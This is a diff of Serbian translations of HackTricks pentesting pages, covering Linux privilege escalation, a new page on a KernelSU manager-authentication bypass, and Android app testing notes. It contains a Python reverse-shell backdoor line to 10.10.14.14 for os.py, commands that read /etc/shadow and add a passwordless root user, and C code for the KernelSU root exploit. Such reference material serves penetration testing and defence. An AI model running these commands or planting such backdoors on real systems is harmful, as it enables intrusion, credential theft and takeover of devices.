[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH Zanimljive konfiguracione vrednosti - **PasswordAuthentication:** Određuje da li je autentifikacija lozinkom dozvoljena. Podrazumevano je `no`. - **PubkeyAuthentication:** Određuje da li je autentifikacija javnim ključem dozvoljena. Podrazumevano je `yes`. @@ -1143,7 +1143,7 @@ Određuje da li root može da se prijavi koristeći ssh, podrazumevano je `no`. ### AuthorizedKeysFile -Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene kao što su `%h`, koji će biti zamenjeni sa kućnim direktorijumom. **Možete navesti apsolutne putanje** (koje počinju sa `/`) ili **relativne putanje od korisničkog doma**. Na primer: +Određuje datoteke koje sadrže javne ključeve koji se mogu koristiti za autentifikaciju korisnika. Može sadržati tokene kao što su `%h`, koji će biti zamenjeni sa kućnim direktorijumom. **Možete navesti apsolutne putanje** (počinjući od `/`) ili **relativne putanje od korisničkog doma**. Na primer: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1153,7 +1153,7 @@ Ta konfiguracija će označiti da ako pokušate da se prijavite sa **privatnim** SSH agent forwarding vam omogućava da **koristite svoje lokalne SSH ključeve umesto da ostavljate ključeve** (bez lozinki!) na vašem serveru. Tako ćete moći da **skočite** putem ssh **na host** i odatle **skočite na drugi** host **koristeći** **ključ** koji se nalazi na vašem **početnom hostu**. -Morate postaviti ovu opciju u `$HOME/.ssh.config` na sledeći način: +Morate postaviti ovu opciju u `$HOME/.ssh.config` ovako: ``` Host example.com ForwardAgent yes @@ -1181,14 +1181,14 @@ Ako se pronađe bilo koji čudan profil skript, trebali biste ga proveriti na ** ### Passwd/Shadow Fajlovi -U zavisnosti od operativnog sistema, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje da **pronađete sve njih** i **proverite da li možete da ih pročitate** kako biste videli **da li postoje heševi** unutar fajlova: +U zavisnosti od operativnog sistema, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati backup. Stoga se preporučuje da **pronađete sve njih** i **proverite da li možete da ih pročitate** da biste videli **da li postoje heševi** unutar fajlova: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -U nekim slučajevima možete pronaći **hash-ove lozinki** unutar datoteke `/etc/passwd` (ili ekvivalentne). +U nekim slučajevima možete pronaći **hash-eve lozinke** unutar datoteke `/etc/passwd` (ili ekvivalentne). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1209,14 +1209,14 @@ E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Sada možete koristiti `su` komandu sa `hacker:hacker` Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\ -UPWARNING: možete smanjiti trenutnu sigurnost mašine. +UPWARNING: mogli biste smanjiti trenutnu sigurnost mašine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NAPOMENA: Na BSD platformama, `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe je `/etc/shadow` preimenovan u `/etc/spwd.db`. +NAPOMENA: Na BSD platformama `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe je `/etc/shadow` preimenovan u `/etc/spwd.db`. -Trebalo bi da proverite da li možete **da pišete u neke osetljive fajlove**. Na primer, da li možete da pišete u neki **fajl za konfiguraciju servisa**? +Trebalo bi da proverite da li možete **pisati u neke osetljive fajlove**. Na primer, da li možete pisati u neki **fajl za konfiguraciju servisa**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1227,11 +1227,11 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Vaš backdoor će biti izvršen sledeći put kada se tomcat pokrene. +Vaša backdoor će biti izvršena sledeći put kada se tomcat pokrene. ### Proverite foldere -Sledeći folderi mogu sadržati backup-e ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) +Sledeći folderi mogu sadržati rezervne kopije ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1284,7 +1284,7 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Poznate datoteke koje sadrže lozinke +### Poznati fajlovi koji sadrže lozinke Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on traži **several possible files that could contain passwords**.\ **Još jedan zanimljiv alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda korišćena za preuzimanje mnogih lozinki sačuvanih na lokalnom računaru za Windows, Linux i Mac. @@ -1292,7 +1292,7 @@ Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalatio ### Logovi Ako možete da čitate logove, možda ćete moći da pronađete **interesting/confidential information inside them**. Što je log čudniji, to će biti zanimljiviji (verovatno).\ -Takođe, neki "**bad**" konfigurirani (backdoored?) **audit logs** mogu vam omogućiti da **record passwords** unutar audit logova kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Takođe, neki "**bad**" konfigurisan (backdoored?) **audit logs** mogu vam omogućiti da **record passwords** unutar audit logova kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1312,7 +1312,7 @@ Da biste **pročitali logove, grupa** [**adm**](interesting-groups-linux-pe/inde ``` ### Generic Creds Search/Regex -Trebalo bi da proverite datoteke koje sadrže reč "**password**" u svom **imenu** ili unutar **sadržaja**, kao i da proverite IP adrese i emailove unutar logova, ili regex za hashove.\ +Trebalo bi da proverite datoteke koje sadrže reč "**password**" u svom **imenu** ili unutar **sadržaja**, kao i da proverite IP adrese i emailove unutar logova, ili regex-ove za hash-ove.\ Neću ovde nabrajati kako da uradite sve ovo, ali ako ste zainteresovani, možete proveriti poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) vrši. ## Writable files @@ -1321,7 +1321,7 @@ Neću ovde nabrajati kako da uradite sve ovo, ali ako ste zainteresovani, možet Ako znate **odakle** će se izvršiti python skripta i ako **možete pisati unutar** te fascikle ili možete **modifikovati python biblioteke**, možete modifikovati OS biblioteku i dodati backdoor (ako možete pisati gde će se izvršiti python skripta, kopirajte i nalepite os.py biblioteku). -Da **dodate backdoor u biblioteku**, jednostavno dodajte na kraj os.py biblioteke sledeću liniju (promenite IP i PORT): +Da **dodate backdoor u biblioteku**, samo dodajte na kraj os.py biblioteke sledeću liniju (promenite IP i PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` @@ -1344,7 +1344,7 @@ Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/c Ako, iz bilo kog razloga, korisnik može da **piše** `ifcf-` skriptu u _/etc/sysconfig/network-scripts_ **ili** može da **prilagodi** postojeću, onda je vaš **sistem pwned**. -Mrežne skripte, _ifcg-eth0_ na primer, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, one su \~sourced\~ na Linuxu od strane Network Manager-a (dispatcher.d). +Mrežne skripte, _ifcg-eth0_ na primer, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, oni su \~sourced\~ na Linuxu od strane Network Manager-a (dispatcher.d). U mom slučaju, `NAME=` atribut u ovim mrežnim skriptama nije pravilno obrađen. Ako imate **belu/praznu prostor u imenu, sistem pokušava da izvrši deo nakon bele/prazne prostore**. To znači da se **sve nakon prve praznine izvršava kao root**. @@ -1356,11 +1356,11 @@ DEVICE=eth0 ``` ### **init, init.d, systemd, i rc.d** -Direktorijum `/etc/init.d` je dom za **skripte** za System V init (SysVinit), **klasični sistem upravljanja servisima na Linuxu**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova pronađenih u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`. +Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasični sistem upravljanja servisima na Linuxu**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. Ove se mogu izvršavati direktno ili putem simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativni put u Redhat sistemima je `/etc/rc.d/init.d`. S druge strane, `/etc/init` je povezan sa **Upstart**, novijim **sistemom upravljanja servisima** koji je uveo Ubuntu, koristeći konfiguracione datoteke za zadatke upravljanja servisima. I pored prelaska na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u. -**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimke stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema. +**systemd** se pojavljuje kao moderan menadžer inicijalizacije i servisa, nudeći napredne funkcije kao što su pokretanje demona na zahtev, upravljanje automount-om i snimci stanja sistema. Organizuje datoteke u `/usr/lib/systemd/` za distribucione pakete i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema. ## Ostali trikovi @@ -1426,4 +1426,12 @@ cisco-vmanage.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) +## Android rooting frameworks: zloupotreba menadžera-kanala + +Android rooting framework-ovi obično povezuju syscall kako bi izložili privilegovanu funkcionalnost jezgra menadžeru korisničkog prostora. Slaba autentifikacija menadžera (npr., provere potpisa zasnovane na FD-redosledu ili loši šemama lozinki) može omogućiti lokalnoj aplikaciji da se pretvara da je menadžer i eskalira na root na već-rootovanim uređajima. Saznajte više i detalje o eksploataciji ovde: + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md new file mode 100644 index 000000000..c7a008039 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -0,0 +1,190 @@ +# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse + +{{#include ../../banners/hacktricks-training.md}} + +Okvir za rootovanje kao što su KernelSU, APatch, SKRoot i Magisk često zakrpljuju Linux/Android kernel i izlažu privilegovanu funkcionalnost neprivilegovanom korisničkom "menadžer" aplikaciji putem uhvaćenog syscall-a. Ako je korak autentifikacije menadžera neispravan, bilo koja lokalna aplikacija može doći do ovog kanala i eskalirati privilegije na već rootovanim uređajima. + +Ova stranica apstrahuje tehnike i zamke otkrivene u javnim istraživanjima (posebno Zimperium-ova analiza KernelSU v0.5.7) kako bi pomogla i crvenim i plavim timovima da razumeju površine napada, primitivne eksploatacije i robusne mitigacije. + +--- +## Arhitektonski obrazac: syscall-uhvaćen menadžerski kanal + +- Kernel modul/zakrpa hvata syscall (obično prctl) da primi "komande" iz korisničkog prostora. +- Protokol obično uključuje: magic_value, command_id, arg_ptr/len ... +- Aplikacija menadžera u korisničkom prostoru prvo se autentifikuje (npr., CMD_BECOME_MANAGER). Kada kernel označi pozivaoca kao pouzdanog menadžera, privilegovane komande se prihvataju: +- Dodeli root pozivaocu (npr., CMD_GRANT_ROOT) +- Upravljaj listama dozvola/zaključavanja za su +- Prilagodi SELinux politiku (npr., CMD_SET_SEPOLICY) +- Upit za verziju/konfiguraciju +- Pošto bilo koja aplikacija može pozvati syscalls, ispravnost autentifikacije menadžera je kritična. + +Primer (dizajn KernelSU): +- Uhvaćen syscall: prctl +- Magic vrednost za preusmeravanje na KernelSU handler: 0xDEADBEEF +- Komande uključuju: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, itd. + +--- +## KernelSU v0.5.7 tok autentifikacije (kako je implementirano) + +Kada korisnički prostor pozove prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU proverava: + +1) Provera prefiksa putanje +- Pružena putanja mora početi sa očekivanim prefiksom za UID pozivaoca, npr. /data/data/ ili /data/user//. +- Referenca: core_hook.c (v0.5.7) logika prefiksa putanje. + +2) Provera vlasništva +- Putanja mora biti u vlasništvu UID pozivaoca. +- Referenca: core_hook.c (v0.5.7) logika vlasništva. + +3) Provera APK potpisa putem skeniranja FD tabele +- Iteriraj otvorene fajl deskriptore (FD) pozivajućeg procesa. +- Izaberi prvi fajl čija putanja odgovara /data/app/*/base.apk. +- Parsiraj APK v2 potpis i verifikuj protiv zvaničnog menadžerskog sertifikata. +- Reference: manager.c (iteriranje FDs), apk_sign.c (APK v2 verifikacija). + +Ako sve provere prođu, kernel privremeno kešira UID menadžera i prihvata privilegovane komande od tog UID-a dok se ne resetuje. + +--- +## Klasa ranjivosti: poveravanje "prvom odgovarajućem APK-u" iz FD iteracije + +Ako provera potpisa vezuje za "prvi odgovarajući /data/app/*/base.apk" pronađen u FD tabeli procesa, zapravo ne verifikuje paket pozivaoca. Napadač može unapred postaviti legitimno potpisan APK (pravog menadžera) tako da se pojavi ranije u FD listi od svog vlastitog base.apk. + +Ovo poverenje putem indirekcije omogućava neprivilegovanoj aplikaciji da se pretvara da je menadžer bez posedovanja menadžerskog ključa za potpisivanje. + +Ključne osobine koje se koriste: +- FD skeniranje se ne vezuje za identitet paketa pozivaoca; samo se podudara sa putanjama. +- open() vraća najniži dostupni FD. Zatvaranjem FD-ova sa nižim brojevima prvo, napadač može kontrolisati redosled. +- Filter samo proverava da li putanja odgovara /data/app/*/base.apk – ne da li odgovara instaliranom paketu pozivaoca. + +--- +## Preduslovi napada + +- Uređaj je već rootovan sa ranjivim okvirom za rootovanje (npr., KernelSU v0.5.7). +- Napadač može pokrenuti proizvoljan neprivilegovan kod lokalno (Android aplikacija). +- Pravi menadžer još nije autentifikovan (npr., odmah nakon ponovnog pokretanja). Neki okviri keširaju UID menadžera nakon uspeha; morate pobediti u trci. + +--- +## Osnovni koraci eksploatacije (KernelSU v0.5.7) + +Visok nivo koraka: +1) Izgradite validnu putanju do svog direktorijuma podataka aplikacije da zadovoljite provere prefiksa i vlasništva. +2) Osigurajte da je pravi KernelSU Manager base.apk otvoren na FD-u sa nižim brojem od vašeg vlastitog base.apk. +3) Pozovite prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) da prođete provere. +4) Izdajte privilegovane komande kao što su CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY da zadržite povišenje. + +Praktične napomene o koraku 2 (redosled FD): +- Identifikujte FD vašeg procesa za vaš vlastiti /data/app/*/base.apk tako što ćete proći kroz /proc/self/fd symlinks. +- Zatvorite nizak FD (npr., stdin, fd 0) i prvo otvorite legitimni menadžer APK tako da zauzme fd 0 (ili bilo koji indeks niži od vašeg vlastitog base.apk fd). +- Uključite legitimni menadžer APK sa vašom aplikacijom tako da njegova putanja zadovoljava naivni filter kernela. Na primer, stavite ga pod podputanju koja odgovara /data/app/*/base.apk. + +Primer kodnih snimaka (Android/Linux, samo ilustrativno): + +Enumerišite otvorene FDs da locirate base.apk unose: +```c +#include +#include +#include +#include + +int find_first_baseapk_fd(char out_path[PATH_MAX]) { +DIR *d = opendir("/proc/self/fd"); +if (!d) return -1; +struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX]; +int best_fd = -1; +while ((e = readdir(d))) { +if (e->d_name[0] == '.') continue; +int fd = atoi(e->d_name); +snprintf(link, sizeof(link), "/proc/self/fd/%d", fd); +ssize_t n = readlink(link, p, sizeof(p)-1); +if (n <= 0) continue; p[n] = '\0'; +if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) { +if (best_fd < 0 || fd < best_fd) { +best_fd = fd; strncpy(out_path, p, PATH_MAX); +} +} +} +closedir(d); +return best_fd; // First (lowest) matching fd +} +``` +Primorajte da niže numerisani FD usmeri na legitimni manager APK: +```c +#include +#include + +void preopen_legit_manager_lowfd(const char *legit_apk_path) { +// Reuse stdin (fd 0) if possible so the next open() returns 0 +close(0); +int fd = open(legit_apk_path, O_RDONLY); +(void)fd; // fd should now be 0 if available +} +``` +Upravljanje autentifikacijom putem prctl hook-a: +```c +#include +#include + +#define KSU_MAGIC 0xDEADBEEF +#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific + +static inline long ksu_call(unsigned long cmd, unsigned long arg2, +unsigned long arg3, unsigned long arg4) { +return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4); +} + +int become_manager(const char *my_data_dir) { +long result = -1; +// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr +result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0); +return (int)result; +} +``` +After success, privileged commands (examples): +- CMD_GRANT_ROOT: promovisi trenutni proces na root +- CMD_ALLOW_SU: dodajte svoj paket/UID na listu dozvoljenih za trajni su +- CMD_SET_SEPOLICY: prilagodite SELinux politiku prema podršci okvira + +Race/persistence tip: +- Registrujte BOOT_COMPLETED receiver u AndroidManifest (RECEIVE_BOOT_COMPLETED) da biste započeli rano nakon ponovnog pokretanja i pokušali autentifikaciju pre pravog menadžera. + +--- +## Detection and mitigation guidance + +For framework developers: +- Povežite autentifikaciju sa paketom/UID pozivaoca, a ne sa proizvoljnim FD-ovima: +- Rešite paket pozivaoca iz njegovog UID-a i verifikujte protiv potpisa instaliranog paketa (putem PackageManager-a) umesto skeniranja FD-ova. +- Ako je samo kernel, koristite stabilni identitet pozivaoca (task creds) i validirajte na stabilnom izvoru istine koji upravlja init/userspace pomoćnikom, a ne procesnim FD-ovima. +- Izbegavajte provere putanje kao identitet; one su trivijalno zadovoljavajuće od strane pozivaoca. +- Koristite nonce-bazirani izazov–odgovor preko kanala i obrišite bilo koji keširani identitet menadžera pri pokretanju ili na ključnim događajima. +- Razmotrite IPC sa autentifikacijom zasnovanom na binderu umesto preopterećenja generičkih syscalls kada je to izvodljivo. + +For defenders/blue team: +- Otkrivanje prisustva rooting okvira i procesa menadžera; pratite prctl pozive sa sumnjivim magičnim konstantama (npr., 0xDEADBEEF) ako imate kernel telemetriju. +- Na upravljanim flotama, blokirajte ili upozorite na boot receiver-e iz nepouzdanih paketa koji brzo pokušavaju privilegovane komande menadžera nakon pokretanja. +- Osigurajte da su uređaji ažurirani na zakrpljene verzije okvira; poništite keširane ID-eve menadžera prilikom ažuriranja. + +Limitations of the attack: +- Pogađa samo uređaje koji su već rootovani sa ranjivim okvirom. +- Obično zahteva ponovni pokretanje/race prozor pre nego što legitimni menadžer autentifikuje (neki okviri keširaju UID menadžera do resetovanja). + +--- +## Related notes across frameworks + +- Autentifikacija zasnovana na lozinkama (npr., istorijski APatch/SKRoot build-ovi) može biti slaba ako su lozinke pogađane/bruteforce-ovane ili su validacije sa greškama. +- Autentifikacija zasnovana na paketu/potpisu (npr., KernelSU) je jača u principu, ali mora biti povezana sa stvarnim pozivaocem, a ne indirektnim artefaktima poput FD skeniranja. +- Magisk: CVE-2024-48336 (MagiskEoP) je pokazao da čak i zreli ekosistemi mogu biti podložni lažiranju identiteta što dovodi do izvršavanja koda sa root privilegijama unutar konteksta menadžera. + +--- +## References + +- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device) +- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193) +- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43) +- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319) +- [KernelSU project](https://kernelsu.org/) +- [APatch](https://github.com/bmax121/APatch) +- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot) +- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP) +- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index fed08a009..79c866de5 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -13,7 +13,7 @@ android-applications-basics.md ## ADB (Android Debug Bridge) Ovo je glavni alat koji vam je potreban za povezivanje sa android uređajem (emuliranim ili fizičkim).\ -**ADB** omogućava kontrolu uređaja preko **USB** ili **mreže** sa računara. Ova alatka omogućava **kopiranje** fajlova u oba pravca, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama. +**ADB** omogućava kontrolu uređaja preko **USB** ili **Mreže** sa računara. Ova alatka omogućava **kopiranje** fajlova u oba pravca, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama. Pogledajte sledeću listu [**ADB Komandi**](adb-commands.md) da biste naučili kako koristiti adb. @@ -22,13 +22,13 @@ Pogledajte sledeću listu [**ADB Komandi**](adb-commands.md) da biste naučili k Ponekad je zanimljivo **modifikovati kod aplikacije** kako biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili oznakama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i rekompilirati ga.\ [**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i rekompilirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**. -## Drugi zanimljivi trikovi +## Druge zanimljive trikove - [Lažiranje vaše lokacije u Play Store-u](spoofing-your-location-in-play-store.md) -- [Shizuku Privileged API (ADB-bazirani pristup bez root privilegija)](shizuku-privileged-api.md) +- [Shizuku Privileged API (ADB-bazirani pristup bez root-a)](shizuku-privileged-api.md) - [Iskorišćavanje nesigurnih mehanizama ažuriranja unutar aplikacije](insecure-in-app-update-rce.md) - [Zloupotreba usluga pristupačnosti (Android RAT)](accessibility-services-abuse.md) -- **Preuzimanje APK-ova**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- **Preuzmite APK-ove**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Ekstrakt APK sa uređaja: ```bash adb shell pm list packages @@ -54,6 +54,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ../ios-pentesting/air-keyboard-remote-input-injection.md {{#endref}} +{{#ref}} +../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + ## Staticka analiza Prvo, za analizu APK-a trebate **pogledati Java kod** koristeći dekompajler.\ @@ -65,7 +69,7 @@ Samo gledajući **stringove** APK-a možete tražiti **lozinke**, **URL-ove** ([ **Firebase** -Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konfigurisano. [Više informacija o tome šta je Firebase i kako ga iskoristiti ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konfigurisan. [Više informacija o tome šta je Firebase i kako ga iskoristiti ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Osnovno razumevanje aplikacije - Manifest.xml, strings.xml @@ -73,8 +77,8 @@ Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konf **Ranjivosti** identifikovane iz **Manifest.xml** uključuju: -- **Debuggable aplikacije**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalju pomoć o tome kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju. -- **Podešavanja rezervne kopije**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečile neovlašćene rezervne kopije podataka putem adb, posebno kada je USB debugging omogućen. +- **Debuggable aplikacije**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalje razumevanje kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju. +- **Podešavanja rezervne kopije**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečile neovlašćene rezervne kopije podataka putem adb, posebno kada je omogućeno usb debagovanje. - **Mrežna sigurnost**: Prilagođene konfiguracije mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje kao što su pinovi sertifikata i podešavanja HTTP saobraćaja. Primer je omogućavanje HTTP saobraćaja za određene domene. - **Izvezene aktivnosti i servisi**: Identifikacija izvezenih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente. - **Content Providers i FileProviders**: Izloženi content providers mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe treba biti pažljivo ispitana. @@ -94,9 +98,9 @@ Pronađite više informacija u: tapjacking.md {{#endref}} -### Otimanje zadataka +### Otimanje zadatka -**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na otimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **oteti zadatak prave aplikacije** (tako da korisnik misli da koristi pravu aplikaciju dok zapravo interaguje sa **malicioznom aplikacijom**). +**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na otimanje zadatka. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **oteti zadatak prave aplikacije** (tako da korisnik interaguje sa **malicioznom aplikacijom misleći da koristi pravu**). Više informacija u: @@ -132,33 +136,33 @@ Kada se radi o datotekama na **eksternom skladištu**, kao što su SD kartice, t Eksterno skladište može biti **pristupano** u `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` > [!TIP] -> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikaciji na direktorijum koji je specifično za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da dobije pristup za čitanje ili pisanje datoteka druge aplikacije. +> Počevši od Android 4.4 (**API 17**), SD kartica ima strukturu direktorijuma koja **ograničava pristup aplikaciji na direktorijum koji je specifično za tu aplikaciju**. Ovo sprečava malicioznu aplikaciju da 